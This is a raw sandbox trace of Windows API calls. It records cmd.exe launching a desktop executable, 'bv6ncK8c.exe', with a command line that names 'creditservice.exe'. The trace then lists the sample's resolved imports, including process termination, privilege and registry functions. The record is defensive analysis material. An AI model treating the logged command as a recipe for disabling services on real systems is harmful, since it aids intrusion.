GetConsoleTitleW (in: lpConsoleTitle=0x3ffa60, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.491] GetFileAttributesW (lpFileName="bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x20 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0058.491] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DIR") returned -2 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ERASE") returned -3 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DEL") returned -2 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TYPE") returned -18 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COPY") returned -1 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CD") returned -1 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CHDIR") returned -1 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RENAME") returned -16 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REN") returned -16 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ECHO") returned -3 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SET") returned -17 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PAUSE") returned -14 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DATE") returned -2 [0058.492] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TIME") returned -18 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PROMPT") returned -14 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MD") returned -11 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKDIR") returned -11 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RD") returned -16 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="RMDIR") returned -16 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PATH") returned -14 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="GOTO") returned -5 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SHIFT") returned -17 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CLS") returned -1 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="CALL") returned -1 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VERIFY") returned -20 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VER") returned -20 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="VOL") returned -20 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="EXIT") returned -3 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="SETLOCAL") returned -17 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ENDLOCAL") returned -3 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="TITLE") returned -18 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="START") returned -17 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="DPATH") returned -2 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="KEYS") returned -9 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MOVE") returned -11 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="PUSHD") returned -14 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="POPD") returned -14 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="ASSOC") returned 1 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FTYPE") returned -4 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="BREAK") returned 4 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="COLOR") returned -1 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="MKLINK") returned -11 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="FOR") returned -4 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="IF") returned -7 [0058.493] _wcsicmp (_String1="bv6ncK8c.exe", _String2="REM") returned -16 [0058.494] GetProcessHeap () returned 0x800000 [0058.494] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x210) returned 0x812538 [0058.494] GetProcessHeap () returned 0x800000 [0058.494] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x78) returned 0x814f58 [0058.494] _wcsnicmp (_String1="bv6n", _String2="cmd ", _MaxCount=0x4) returned -1 [0058.494] GetProcessHeap () returned 0x800000 [0058.494] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x418) returned 0x812750 [0058.494] SetErrorMode (uMode=0x0) returned 0x0 [0058.494] SetErrorMode (uMode=0x1) returned 0x0 [0058.494] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x812758, lpFilePart=0x3ff580 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x3ff580*="Desktop") returned 0x25 [0058.494] SetErrorMode (uMode=0x0) returned 0x1 [0058.495] GetProcessHeap () returned 0x800000 [0058.495] RtlReAllocateHeap (Heap=0x800000, Flags=0x0, Ptr=0x812750, Size=0x6e) returned 0x812750 [0058.495] GetProcessHeap () returned 0x800000 [0058.495] RtlSizeHeap (HeapHandle=0x800000, Flags=0x0, MemoryPointer=0x812750) returned 0x6e [0058.495] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0058.495] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0058.495] GetProcessHeap () returned 0x800000 [0058.495] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x120) returned 0x8127c8 [0058.495] GetProcessHeap () returned 0x800000 [0058.495] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0x238) returned 0x8128f0 [0058.501] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe", fInfoLevelId=0x1, lpFindFileData=0x3ff31c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x3ff31c) returned 0x812aa0 [0058.502] GetProcessHeap () returned 0x800000 [0058.502] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x0, Size=0x14) returned 0x812ae0 [0058.502] FindClose (in: hFindFile=0x812aa0 | out: hFindFile=0x812aa0) returned 1 [0058.502] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0058.502] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0058.502] GetConsoleTitleW (in: lpConsoleTitle=0x3ff7f4, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0058.502] InitializeProcThreadAttributeList (in: lpAttributeList=0x3ff67c, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x3ff744 | out: lpAttributeList=0x3ff67c, lpSize=0x3ff744) returned 1 [0058.502] UpdateProcThreadAttribute (in: lpAttributeList=0x3ff67c, dwFlags=0x0, Attribute=0x60001, lpValue=0x3ff73c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x3ff67c, lpPreviousValue=0x0) returned 1 [0058.502] GetStartupInfoW (in: lpStartupInfo=0x3ff638 | out: lpStartupInfo=0x3ff638*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x3, hStdOutput=0x80, hStdError=0xb)) [0058.508] CloseHandle (hObject=0x74) returned 1 [0058.508] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0058.508] GetProcessHeap () returned 0x800000 [0058.508] HeapFree (in: hHeap=0x800000, dwFlags=0x0, lpMem=0x812d98 | out: hHeap=0x800000) returned 1 [0058.508] GetEnvironmentStringsW () returned 0x812d40* [0058.508] GetProcessHeap () returned 0x800000 [0058.508] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0xb8a) returned 0x816f40 [0058.508] FreeEnvironmentStringsW (penv=0x812d40) returned 1 [0058.508] WaitForSingleObject (hHandle=0x78, dwMilliseconds=0xffffffff) returned 0x0 [0064.000] GetExitCodeProcess (in: hProcess=0x78, lpExitCode=0x3ff618 | out: lpExitCode=0x3ff618*=0x1) returned 1 [0064.000] CloseHandle (hObject=0x78) returned 1 [0064.000] _vsnwprintf (in: _Buffer=0x3ff760, _BufferCount=0x13, _Format="%08X", _ArgList=0x3ff624 | out: _Buffer="00000001") returned 8 [0064.000] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000001") returned 1 [0064.000] GetProcessHeap () returned 0x800000 [0064.000] HeapFree (in: hHeap=0x800000, dwFlags=0x0, lpMem=0x816f40 | out: hHeap=0x800000) returned 1 [0064.001] GetEnvironmentStringsW () returned 0x812d40* [0064.001] GetProcessHeap () returned 0x800000 [0064.001] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0xb8a) returned 0x816f40 [0064.001] FreeEnvironmentStringsW (penv=0x812d40) returned 1 [0064.001] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0064.001] GetProcessHeap () returned 0x800000 [0064.001] HeapFree (in: hHeap=0x800000, dwFlags=0x0, lpMem=0x816f40 | out: hHeap=0x800000) returned 1 [0064.001] GetEnvironmentStringsW () returned 0x812d40* [0064.001] GetProcessHeap () returned 0x800000 [0064.001] RtlAllocateHeap (HeapHandle=0x800000, Flags=0x8, Size=0xb8a) returned 0x816f40 [0064.001] FreeEnvironmentStringsW (penv=0x812d40) returned 1 [0064.001] GetProcessHeap () returned 0x800000 [0064.001] HeapFree (in: hHeap=0x800000, dwFlags=0x0, lpMem=0x8100e0 | out: hHeap=0x800000) returned 1 [0064.001] DeleteProcThreadAttributeList (in: lpAttributeList=0x3ff67c | out: lpAttributeList=0x3ff67c) [0064.001] _get_osfhandle (_FileHandle=1) returned 0x80 [0064.001] SetConsoleMode (hConsoleHandle=0x80, dwMode=0x0) returned 0 [0064.001] _get_osfhandle (_FileHandle=1) returned 0x80 [0064.001] GetConsoleMode (in: hConsoleHandle=0x80, lpMode=0x4ab441ac | out: lpMode=0x4ab441ac) returned 0 [0064.001] _get_osfhandle (_FileHandle=0) returned 0x3 [0064.001] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ab441b0 | out: lpMode=0x4ab441b0) returned 1 [0064.002] SetConsoleInputExeNameW () returned 0x1 [0064.002] GetConsoleOutputCP () returned 0x1b5 [0064.002] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab44260 | out: lpCPInfo=0x4ab44260) returned 1 [0064.002] SetThreadUILanguage (LangId=0x0) returned 0x409 [0064.002] exit (_Code=1) Process: id = "27" image_name = "bv6nck8c.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe" page_root = "0x1722c000" os_pid = "0x6c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "26" os_parent_pid = "0x88c" cmd_line = "bv6ncK8c.exe -accepteula \"creditservice.exe\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 653 os_tid = 0x99c [0063.424] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76e10000 [0063.424] GetProcAddress (hModule=0x76e10000, lpProcName="SetEvent") returned 0x76e216c5 [0063.424] GetProcAddress (hModule=0x76e10000, lpProcName="WaitForSingleObject") returned 0x76e21136 [0063.424] GetProcAddress (hModule=0x76e10000, lpProcName="DeviceIoControl") returned 0x76e2322f [0063.424] GetProcAddress (hModule=0x76e10000, lpProcName="DuplicateHandle") returned 0x76e21886 [0063.424] GetProcAddress (hModule=0x76e10000, lpProcName="FormatMessageW") returned 0x76e24620 [0063.424] GetProcAddress (hModule=0x76e10000, lpProcName="CreateEventW") returned 0x76e2183e [0063.424] GetProcAddress (hModule=0x76e10000, lpProcName="CreateProcessW") returned 0x76e2103d [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="ExpandEnvironmentStringsW") returned 0x76e24173 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetDriveTypeW") returned 0x76e2418b [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemDirectoryW") returned 0x76e25063 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteFileW") returned 0x76e289b3 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="SetThreadErrorMode") returned 0x76e9af42 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="HeapSize") returned 0x77353002 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="LCMapStringW") returned 0x76e217b9 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetStringTypeW") returned 0x76e21946 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateThread") returned 0x76e27a2f [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="OpenProcess") returned 0x76e21986 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="GetVersion") returned 0x76e24467 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="CreateFileW") returned 0x76e23f5c [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="FindResourceW") returned 0x76e25971 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="SizeofResource") returned 0x76e25ac9 [0063.425] GetProcAddress (hModule=0x76e10000, lpProcName="CloseHandle") returned 0x76e21410 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="SetLastError") returned 0x76e211a9 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="LoadResource") returned 0x76e2594c [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetLastError") returned 0x76e211c0 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcess") returned 0x76e21809 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="LockResource") returned 0x76e25959 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetCommandLineW") returned 0x76e25223 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleW") returned 0x76e234b0 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryW") returned 0x76e2492b [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetStdHandle") returned 0x76e251b3 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="LocalFree") returned 0x76e22d3c [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="LocalAlloc") returned 0x76e2168c [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcAddress") returned 0x76e21222 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleFileNameW") returned 0x76e24950 [0063.426] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleScreenBufferInfo") returned 0x76e4bafd [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetFileType") returned 0x76e23531 [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="OutputDebugStringW") returned 0x76e4d1d4 [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleW") returned 0x76ec739a [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="WriteConsoleW") returned 0x76e47aca [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="SetFilePointerEx") returned 0x76e3c807 [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="EnterCriticalSection") returned 0x773422b0 [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="LeaveCriticalSection") returned 0x77342270 [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="SetStdHandle") returned 0x76ea454f [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="HeapAlloc") returned 0x7734e026 [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="EncodePointer") returned 0x77360fcb [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="DecodePointer") returned 0x77359d35 [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="ExitProcess") returned 0x76e27a10 [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="GetModuleHandleExW") returned 0x76e24a6f [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="MultiByteToWideChar") returned 0x76e2192e [0063.427] GetProcAddress (hModule=0x76e10000, lpProcName="WideCharToMultiByte") returned 0x76e2170d [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="HeapFree") returned 0x76e214c9 [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleMode") returned 0x76e21328 [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="ReadConsoleInputA") returned 0x76ec6f53 [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="SetConsoleMode") returned 0x76e3a77d [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="CreateThread") returned 0x76e234d5 [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentThreadId") returned 0x76e21450 [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="ExitThread") returned 0x7737d598 [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="LoadLibraryExW") returned 0x76e2495d [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="DeleteCriticalSection") returned 0x773545f5 [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="FlushFileBuffers") returned 0x76e2469b [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="WriteFile") returned 0x76e21282 [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="GetConsoleCP") returned 0x76ec7bff [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="IsDebuggerPresent") returned 0x76e24a5d [0063.428] GetProcAddress (hModule=0x76e10000, lpProcName="IsProcessorFeaturePresent") returned 0x76e25235 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="ReadFile") returned 0x76e23ed3 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetStartupInfoW") returned 0x76e24d40 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="UnhandledExceptionFilter") returned 0x76e4772f [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="SetUnhandledExceptionFilter") returned 0x76e287c9 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e21916 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="Sleep") returned 0x76e210ff [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="TerminateProcess") returned 0x76e3d802 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="TlsAlloc") returned 0x76e249ad [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="TlsGetValue") returned 0x76e211e0 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="TlsSetValue") returned 0x76e214fb [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="TlsFree") returned 0x76e23587 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="IsValidCodePage") returned 0x76e24493 [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetACP") returned 0x76e2179c [0063.429] GetProcAddress (hModule=0x76e10000, lpProcName="GetOEMCP") returned 0x76e4d1a1 [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="GetCPInfo") returned 0x76e25189 [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="GetProcessHeap") returned 0x76e214e9 [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="RtlUnwind") returned 0x76e4d1c3 [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="QueryPerformanceCounter") returned 0x76e21725 [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="GetCurrentProcessId") returned 0x76e211f8 [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="GetSystemTimeAsFileTime") returned 0x76e23509 [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="GetEnvironmentStringsW") returned 0x76e251e3 [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="FreeEnvironmentStringsW") returned 0x76e251cb [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="HeapReAlloc") returned 0x77361f6e [0063.430] GetProcAddress (hModule=0x76e10000, lpProcName="SetEndOfFile") returned 0x76e3ce2e [0063.430] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x754b0000 [0063.430] GetProcAddress (hModule=0x754b0000, lpProcName="GetTokenInformation") returned 0x754c431c [0063.430] GetProcAddress (hModule=0x754b0000, lpProcName="RegDeleteKeyW") returned 0x754c1272 [0063.430] GetProcAddress (hModule=0x754b0000, lpProcName="LookupPrivilegeValueW") returned 0x754c41b3 [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="AdjustTokenPrivileges") returned 0x754c418e [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="OpenProcessToken") returned 0x754c4304 [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="RegSetValueExW") returned 0x754c14d6 [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="RegQueryValueExW") returned 0x754c46ad [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyExW") returned 0x754c468d [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="RegOpenKeyW") returned 0x754c2459 [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="RegCreateKeyW") returned 0x754c1514 [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="RegCloseKey") returned 0x754c469d [0063.431] GetProcAddress (hModule=0x754b0000, lpProcName="LookupAccountSidW") returned 0x754c4874 [0063.431] LoadLibraryA (lpLibFileName="COMDLG32.dll") returned 0x764b0000 [0063.431] GetProcAddress (hModule=0x764b0000, lpProcName="PrintDlgW") returned 0x764b33a3 [0063.431] LoadLibraryA (lpLibFileName="GDI32.dll") returned 0x752d0000 [0063.431] GetProcAddress (hModule=0x752d0000, lpProcName="StartPage") returned 0x7531401a [0063.431] GetProcAddress (hModule=0x752d0000, lpProcName="EndDoc") returned 0x75313f29 [0063.431] GetProcAddress (hModule=0x752d0000, lpProcName="StartDocW") returned 0x75314c51 [0063.432] GetProcAddress (hModule=0x752d0000, lpProcName="SetMapMode") returned 0x752eb02f [0063.432] GetProcAddress (hModule=0x752d0000, lpProcName="GetDeviceCaps") returned 0x752e4de0 [0063.432] GetProcAddress (hModule=0x752d0000, lpProcName="EndPage") returned 0x752f6bde [0063.432] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76780000 [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="SendMessageW") returned 0x76799679 [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="DialogBoxIndirectParamW") returned 0x767bcbf3 [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="EndDialog") returned 0x767bb99c [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="LoadCursorW") returned 0x767988f7 [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="InflateRect") returned 0x767a3309 [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="GetSysColorBrush") returned 0x767a35a4 [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="SetCursor") returned 0x767a41f6 [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="SetWindowTextW") returned 0x767a20ec [0063.432] GetProcAddress (hModule=0x76780000, lpProcName="GetDlgItem") returned 0x767bf1ba [0063.432] LoadLibraryA (lpLibFileName="VERSION.dll") returned 0x74320000 [0063.433] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoW") returned 0x743219f4 [0063.433] GetProcAddress (hModule=0x74320000, lpProcName="VerQueryValueW") returned 0x74321b51 [0063.433] GetProcAddress (hModule=0x74320000, lpProcName="GetFileVersionInfoSizeW") returned 0x743219d9 [0063.433] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x2) returned 1 [0063.441] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18ff68 | out: lpflOldProtect=0x18ff68*=0x4) returned 1 [0063.441] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xcc52d120, dwHighDateTime=0x1d5d06a)) [0063.441] GetCurrentThreadId () returned 0x99c [0063.441] GetCurrentProcessId () returned 0x6c8 [0063.441] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=20539368546) returned 1 [0063.442] GetProcessHeap () returned 0x580000 [0063.442] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0063.442] GetProcAddress (hModule=0x76e10000, lpProcName="FlsAlloc") returned 0x76e24f2b [0063.442] GetProcAddress (hModule=0x76e10000, lpProcName="FlsFree") returned 0x76e2359f [0063.442] GetProcAddress (hModule=0x76e10000, lpProcName="FlsGetValue") returned 